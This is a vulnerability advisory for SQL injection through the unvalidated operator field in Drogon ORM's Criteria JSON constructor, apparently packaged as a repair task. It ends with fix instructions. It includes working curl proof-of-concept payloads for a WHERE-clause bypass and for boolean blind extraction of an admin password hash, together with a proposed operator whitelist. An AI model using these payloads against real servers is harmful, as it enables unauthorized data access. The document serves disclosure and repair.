[Security]SQL Injection in Drogon ORM - Criteria JSON Constructor

# SQL Injection in Drogon ORM - Criteria JSON Constructor

> **Note:**
> - All PoC examples use `localhost:8200` as a demonstration endpoint. Replace with your actual server address.
> - Response examples below are based on a test database with 8 users. Your actual responses will differ based on your data.

## Test Data Schema (for reference)

The PoC examples assume a `users` table with the following structure:

```sql
CREATE TABLE users (
id SERIAL PRIMARY KEY,
username VARCHAR(50) UNIQUE NOT NULL,
password_hash VARCHAR(255) NOT NULL,
salary DECIMAL(10,2)
);

-- Sample data (8 users)
INSERT INTO users (username, password_hash, salary) VALUES
('admin', '$2a$10$abc123...', 95000.00),
('zhangsan', '$2a$10$def456...', 75000.00),
('lisi', '$2a$10$ghi789...', 68000.00),
('wangwu', '$2a$10$jkl012...', 72000.00),
('zhaoliu', '$2a$10$mno345...', 65000.00),
('sunqi', '$2a$10$pqr678...', 70000.00),
('zhouba', '$2a$10$stu901...', 63000.00),
('wujiu', '$2a$10$vwx234...', 67000.00);
```

## Summary

SQL injection vulnerability exists in the `drogon::orm::Criteria` JSON constructor, allowing attackers to bypass WHERE conditions and inject arbitrary SQL filter operators when using generated RESTful controllers with JSON filter bodies.

## Vulnerability Details

### Affected Component
- File: `orm_lib/src/Criteria.cc`
- Constructor: `Criteria::Criteria(const Json::Value &json) noexcept(false)`
- Line: 107

### Vulnerable Code

```cpp
90: Criteria::Criteria(const Json::Value &json) noexcept(false)
91: {
92: if (!json.isArray() || json.size() != 3)
93: {
94: throw std::runtime_error("Json format error");
95: }
96: if (!json[0].isString() || !json[1].isString())
97: {
98: throw std::runtime_error("Json format error");
99: }
100: conditionString_ = json[0].asString(); // Column name - PROTECTED
101: if (!json[2].isNull() && !json[2].isArray())
102: {
103: if (json[1].asString() == "in") // Only rejects "in"
104: {
105: throw std::runtime_error("Json format error");
106: }
107: conditionString_.append(json[1].asString()); // OPERATOR - NO VALIDATION!
108: conditionString_.append("$?"); // Value - PARAMETERIZED
109: outputArgumentsFunc_ =
110: [arg = json[2].asString()](internal::SqlBinder &binder) {
111: binder << arg; // Value bound securely
112: };
113: }
```

**The Problem:** The operator (json[1]) is concatenated directly into the SQL condition with **only ONE check** — it only explicitly rejects the `"in"` operator. All other operator strings are passed through without any validation or sanitization.

### Key Inconsistency in Security Treatment

| Part | Input | Security Mechanism | Status |
|------|-------|-------------------|--------|
| Column name (`json[0]`) | Column identifier | Whitelist via masquerading in `makeCriteria()` | **Protected** |
| **Operator (`json[1]`)** | SQL operator string | Only rejects `"in"` operator | **VULNERABLE** |
| Value (`json[2]`) | Parameter value | Parameterized binding (`$?` → `$N`) | **Protected** |

The operator is the **only** part that is both attacker-controlled and concatenated into SQL without proper validation.

### Introduction via Bridge: RestfulController::makeCriteria()

The Criteria object is constructed in `RestfulController::makeCriteria()` with column name whitelisting, but the operator still escapes unvalidated:

```cpp
// RestfulController.cc:19-83
orm::Criteria RestfulController::makeCriteria(
const Json::Value &pJson) noexcept(false)
{
if (!pJson.isArray())
{
throw std::runtime_error("Json format error");
}
orm::Criteria ret;
for (auto &orJson : pJson)
{
if (!orJson.isArray())
{
throw std::runtime_error("Json format error");
}
orm::Criteria orCriteria;
for (auto &andJson : orJson)
{
if (!andJson.isArray() || andJson.size() != 3)
{
throw std::runtime_error("Json format error");
}
if (masquerading_) // Whitelists column name only
{
Json::Value newJson(andJson);
auto iter = masqueradingMap_.find(newJson[0].asString());
if (iter != masqueradingMap_.end())
{
newJson[0] = masqueradingVector_[iter->second];
if (!orCriteria)
{
orCriteria = orm::Criteria(newJson); // OPERATOR NOT VALIDATED
}
else
{
orCriteria = orCriteria && orm::Criteria(newJson);
}
}
else
{
throw std::runtime_error("Json format error");
}
}
// ... similar for masquerading=false
}
}
return ret;
}
```

### Exploitation Path

1. **Source:** `drogon_ctl` generates RESTful controllers with JSON filter body parsing
2. **Template:** `drogon_ctl/templates/restful_controller_base_cc.csp:300-314`
- Accepts JSON body with `"filter"` field
- Parses and passes directly to `makeCriteria()`
3. **Bridge:** `RestfulController.cc:40-54` - Whitemashes column names but passes operator unchecked
4. **Sink:** `Criteria.cc:107` - Direct SQL operator injection

```cpp
// restful_controller_base_cc.csp:301-314
auto jsonPtr = req->jsonObject();
if(jsonPtr && jsonPtr->isMember("filter"))
{
try
{
auto criteria = makeCriteria((*jsonPtr)["filter"]);
mapper.findBy(criteria,
[req, callbackPtr, this](const std::vector<{%modelName%}> &v) {
Json::Value ret;
ret.resize(0);
for (auto &obj : v)
{
ret.append(makeJson(req, obj));
}
(*callbackPtr)(HttpResponse::newHttpJsonResponse(ret));
},
```

### Masquerading Protection Gap

The `masquerading_` feature is designed to protect against column name injection, but **does NOT protect the operator parameter**:

| Target | masquerading=true (default) | masquerading=false |
|--------|----------------------------|--------------------|
| Column name | Whitelist validated against aliases | Whitelist validated against real columns |
| **Operator** | **No validation** | **No validation** |
| Value | Parameterized binding | Parameterized binding |

Operators are **always unvalidated**, regardless of masquerading configuration.

### Impact

**Confidentiality: HIGH** - WHERE clause bypass + Boolean Blind SQL Injection

The most critical impact is **WHERE condition bypass**:

```json
// Normal filter - returns empty (id=999 doesn't exist)
{
"filter": [[["id", "=", "999"]]]
}
// Response: []

// Bypassed - OR 1=1 tautology returns ALL rows
{
"filter": [[["id", "= 999 OR 1=1 OR ", "true"]]]
}
// Response: ALL users (1,2,3,4,5,6,7,8)
```

In applications that rely on the generated filter as part of a row-level authorization condition, the injected operator may allow the attacker to alter the resulting WHERE expression and potentially bypass application-level row restrictions.

**Boolean Blind Database Extraction:**

```json
// Extract admin password_hash first character
{
"filter": [[["id", "= (CASE WHEN (SELECT SUBSTRING((SELECT password_hash FROM users WHERE username='admin'),1,1))='a' THEN 1 ELSE 0 END) AND id = ", "1"]]]
}
// Response with 'a': returns admin row
// Response with 'z': returns empty (no match)
```

### Proof of Concept

**1. WHERE Condition Bypass - OR 1=1 Tautology:**
```bash
curl -X GET "http://localhost:8200/users" \
-H "Content-Type: application/json" \
-d '{"filter":[[["id","= 999 OR 1=1 OR ","true"]]]}'
# Normal: id=999 returns [] (no such user)
# Injected: Returns ALL 8 users (WHERE clause bypassed)
```

**2. WHERE Condition Bypass - AND 1=0 Contradiction:**
```bash
curl -X GET "http://localhost:8200/users" \
-H "Content-Type: application/json" \
-d '{"filter":[[["id","= 1 AND 1=0 AND ","true"]]]}'
# Returns [] (no rows pass WHERE condition)
```

**3. Boolean Blind Data Extraction:**
```bash
# Guess password_hash[0] = 'a' (correct)
curl -X GET "http://localhost:8200/users" \
-H "Content-Type: application/json" \
-d '{"filter":[[["id","= (CASE WHEN (SELECT SUBSTRING((SELECT password_hash FROM users WHERE username='\''admin'\''),1,1))='\''a'\'' THEN 1 ELSE 0 END) AND id = ","1"]]]}'
# Response: [{"id":1,"username":"admin",...}] ← admin row returned

# Guess password_hash[0] = 'm' (correct)
curl -X GET "http://localhost:8200/users" \
-H "Content-Type: application/json" \
-d '{"filter":[[["id","= (CASE WHEN (SELECT SUBSTRING((SELECT password_hash FROM users WHERE username='\''admin'\''),1,1))='\''m'\'' THEN 1 ELSE 0 END) AND id = ","1"]]]}'
# Response: [{"id":1,"username":"admin",...}] ← admin row returned

# Guess = non-existent character
curl -X GET "http://localhost:8200/users" \
-H "Content-Type: application/json" \
-d '{"filter":[[["id","= (CASE WHEN (SELECT SUBSTRING((SELECT password_hash FROM users WHERE username='\''admin'\''),1,1))='\''\''''\'' THEN 1 ELSE 0 END) AND id = ","1"]]]}'
# Response: [] ← no admin user with that character
```

### Exploitation Constraints

| Technique | Status | Reason |
|-----------|--------|--------|
| Operator tautology (`OR 1=1`) | **Success** | Returns ALL rows bypassing WHERE |
| Operator contradiction (`AND 1=0`) | **Success** | Returns empty set |
| Operator subquery blind | **Success** | Boolean-based data extraction |
| Stacked queries | **Blocked** | PostgreSQL prepared statement |
| UNION injection | **Blocked** | Cannot be used in WHERE with parameterized right side |
| INTO OUTFILE | **Blocked** | PostgreSQL does not support |

### Recommendation

**Immediate Fix:**

Add operator whitelist before SQL construction:

```cpp
Criteria::Criteria(const Json::Value &json) noexcept(false)
{
if (!json.isArray() || json.size() != 3)
throw std::runtime_error("Json format error");
if (!json[0].isString() || !json[1].isString())
throw std::runtime_error("Json format error");

conditionString_ = json[0].asString();

if (!json[2].isNull() && !json[2].isArray())
{
static const std::set validOps = {
"=", "!=", ">", "<", ">=", "<=", "like", "not like", "in"
};
if (validOps.find(json[1].asString()) == validOps.end())
throw std::runtime_error("Invalid operator: " + json[1].asString());

conditionString_.append(json[1].asString());
conditionString_.append("$?");
// ... rest
}
// ... rest
}
```

**Long-term Solutions:**

1. Use a proper query builder library for SQL construction
2. Validate **ALL** components of a SQL expression (column, operator, value)
3. Better separate operator selection from SQL construction
4. Add authentication by default to generated REST endpoints

### Affected Versions

- **Introduced:** v1.0.0-beta8 (when the vulnerable pattern was introduced by commit 70eda274 on 2019-09-30)
- Git verification: `git tag --contains 70eda274` includes v1.0.0, beta8, beta9, beta10 and all later releases
- **Affects:** v1.0.0-beta8 ~ v1.0.0-beta21 through v1.9.13; later versions should be considered affected until a fix is confirmed
- **Status:** **UNFIXED** as of 2026-08-31

### Additional Context

This vulnerability is exposed by:

1. **Default Behavior:** `drogon_ctl` generates REST controllers with `filters: []` (empty) by default
2. **Documentation:** The framework document REST-API scaffolding as the standard workflow for building APIs
3. **No Auth Filters:** Framework ships zero built-in authentication filters in generated `model.json` templates
4. **Port Forwarding:** Unauthenticated endpoints accepting JSON filters via POST body

Developers who follow the official `drogon_ctl create model` workflow to build RESTful APIs will inherit exploitable code by default.

---

**References:**
- Source: https://github.com/drogonframework/drogon/blob/v1.9.13/orm_lib/src/Criteria.cc#L90-L119
- Bridge: https://github.com/drogonframework/drogon/blob/v1.9.13/orm_lib/src/RestfulController.cc#L19-L83
- Template: https://github.com/drogonframework/drogon/blob/v1.9.13/drogon_ctl/templates/restful_controller_base_cc.csp#L300-L314
- Potential Defense: https://github.com/drogonframework/drogon/blob/v1.9.13/orm_lib/inc/drogon/orm/BaseBuilder.h#L116-L131 (isValidSqlIdentifier - exists but unused in orderBy path)
- CWE-89: https://cwe.mitre.org/data/definitions/89.html (Improper Neutralization of Special Elements)

Start with orm_lib/src/Criteria.cc, focusing on the JSON constructor around line 107, then trace its callers in RestfulController.cc and the generated template restful_controller_base_cc.csp. Run the relevant ORM and REST-controller tests, or locate existing Criteria tests first. Done means unsupported operator input is rejected while supported filters and parameter binding continue to work, with regression coverage.

Written by the indexing model from the issue text.